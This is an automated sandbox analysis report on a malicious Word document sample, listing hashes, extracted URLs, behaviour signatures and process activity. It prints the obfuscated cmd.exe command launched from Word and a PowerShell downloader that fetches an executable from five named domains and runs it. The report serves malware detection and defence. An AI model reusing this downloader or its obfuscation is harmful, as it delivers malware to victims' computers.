Analysis
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max time kernel
19s -
max time network
20s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
14-11-2020 14:07
Static task
static1
Behavioral task
behavioral1
Sample
403fdb65274fbfeccb8868e0b400f3ee2281426c7dbbdc7bdb263dff0979d704.doc
Resource
win10v20201028
General
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Target
403fdb65274fbfeccb8868e0b400f3ee2281426c7dbbdc7bdb263dff0979d704.doc
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Size
106KB
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MD5
30326e79afdba5026d51ab50b37939d2
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SHA1
b4b420c4a464d12f62b94c65aff4ba230c95f3f2
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SHA256
403fdb65274fbfeccb8868e0b400f3ee2281426c7dbbdc7bdb263dff0979d704
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SHA512
9821a19b0abb1c7ec8f929a47926bdd5a175a006e56e47cba8995cabc1de8c2b04d80b4ace7e7d6227544f58d00efc89f7d569da3bd917d70e42ae1c8dd9e0ce
Malware Config
Extracted
http://amedion.net/uNMU39B
http://biciculturabcn.com/6s97jYza
http://valenetinternet.com.br/3Rdtv
http://goshowcar.com/9RVqaX
http://wheelbalancetraining.com/9il
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
Cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4288 4800 Cmd.exe WINWORD.EXE -
Blacklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 24 532 powershell.exe 25 532 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
Cmd.exepid process 4288 Cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4800 WINWORD.EXE 4800 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 532 powershell.exe 532 powershell.exe 532 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 532 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4800 WINWORD.EXE 4800 WINWORD.EXE 4800 WINWORD.EXE 4800 WINWORD.EXE 4800 WINWORD.EXE 4800 WINWORD.EXE 4800 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXECmd.exedescription pid process target process PID 4800 wrote to memory of 4288 4800 WINWORD.EXE Cmd.exe PID 4800 wrote to memory of 4288 4800 WINWORD.EXE Cmd.exe PID 4288 wrote to memory of 532 4288 Cmd.exe powershell.exe PID 4288 wrote to memory of 532 4288 Cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\403fdb65274fbfeccb8868e0b400f3ee2281426c7dbbdc7bdb263dff0979d704.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\Cmd.exeCmd /V:ON/C"set # =wjthMMiMUrvGUsCvwHWNTVrp=/xoau-blS9P:)(7n6y}B;eFz31,d{XkgcY$Dm '\IKf.q@E+R&&for %p in (23,27,16,46,22,13,3,46,32,32,62,59,23,66,48,24,40,46,16,30,27,31,1,46,57,2,62,19,46,2,68,18,46,31,14,32,6,46,40,2,45,59,21,71,67,24,63,3,2,2,23,36,25,25,28,61,46,52,6,27,40,68,40,46,2,25,29,19,7,12,49,34,44,70,3,2,2,23,36,25,25,31,6,57,6,57,29,32,2,29,22,28,31,57,40,68,57,27,61,25,41,13,34,39,1,58,48,28,70,3,2,2,23,36,25,25,15,28,32,46,40,46,2,6,40,2,46,22,40,46,2,68,57,27,61,68,31,22,25,49,73,52,2,15,70,3,2,2,23,36,25,25,56,27,13,3,27,16,57,28,22,68,57,27,61,25,34,73,21,69,28,54,70,3,2,2,23,36,25,25,16,3,46,46,32,31,28,32,28,40,57,46,2,22,28,6,40,6,40,56,68,57,27,61,25,34,6,32,63,68,33,23,32,6,2,38,63,70,63,37,45,59,6,65,54,62,24,62,63,50,41,34,63,45,59,65,35,2,24,59,46,40,15,36,2,46,61,23,72,63,64,63,72,59,6,65,54,72,63,68,46,26,46,63,45,67,27,22,46,28,57,3,38,59,66,16,47,62,6,40,62,59,21,71,67,37,53,2,22,42,53,59,23,66,48,68,60,27,16,40,32,27,28,52,47,6,32,46,38,59,66,16,47,51,62,59,65,35,2,37,45,33,2,28,22,2,30,35,22,27,57,46,13,13,62,59,65,35,2,45,31,22,46,28,55,45,43,57,28,2,57,3,53,43,43,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,80)do set ~ =!~ !!# :~%p,1!&&if %p geq 80 call %~ :*~ !=%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $pKz=new-object Net.WebClient;$VEf='http://amedion.net/uNMU39B@http://biciculturabcn.com/6s97jYza@http://valenetinternet.com.br/3Rdtv@http://goshowcar.com/9RVqaX@http://wheelbalancetraining.com/9il'.Split('@');$iIX = '169';$IPt=$env:temp+'\'+$iIX+'.exe';foreach($KwF in $VEf){try{$pKz.DownloadFile($KwF, $IPt);Start-Process $IPt;break;}catch{}}3⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/532-9-0x0000000000000000-mapping.dmp
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memory/532-10-0x00007FFA55910000-0x00007FFA562FC000-memory.dmpFilesize
9.9MB
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memory/532-11-0x0000025561350000-0x0000025561351000-memory.dmpFilesize
4KB
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memory/532-12-0x00000255616F0000-0x00000255616F1000-memory.dmpFilesize
4KB
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memory/4288-8-0x0000000000000000-mapping.dmp
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memory/4800-0-0x00007FFA5C9A0000-0x00007FFA5CFD7000-memory.dmpFilesize
6.2MB
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memory/4800-4-0x000001BFEEF20000-0x000001BFEEF31000-memory.dmpFilesize
68KB
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memory/4800-5-0x000001BFEEF20000-0x000001BFEEF31000-memory.dmpFilesize
68KB
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memory/4800-6-0x000001BFEEF20000-0x000001BFEEF31000-memory.dmpFilesize
68KB
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memory/4800-7-0x000001BFEEF20000-0x000001BFEEF31000-memory.dmpFilesize
68KB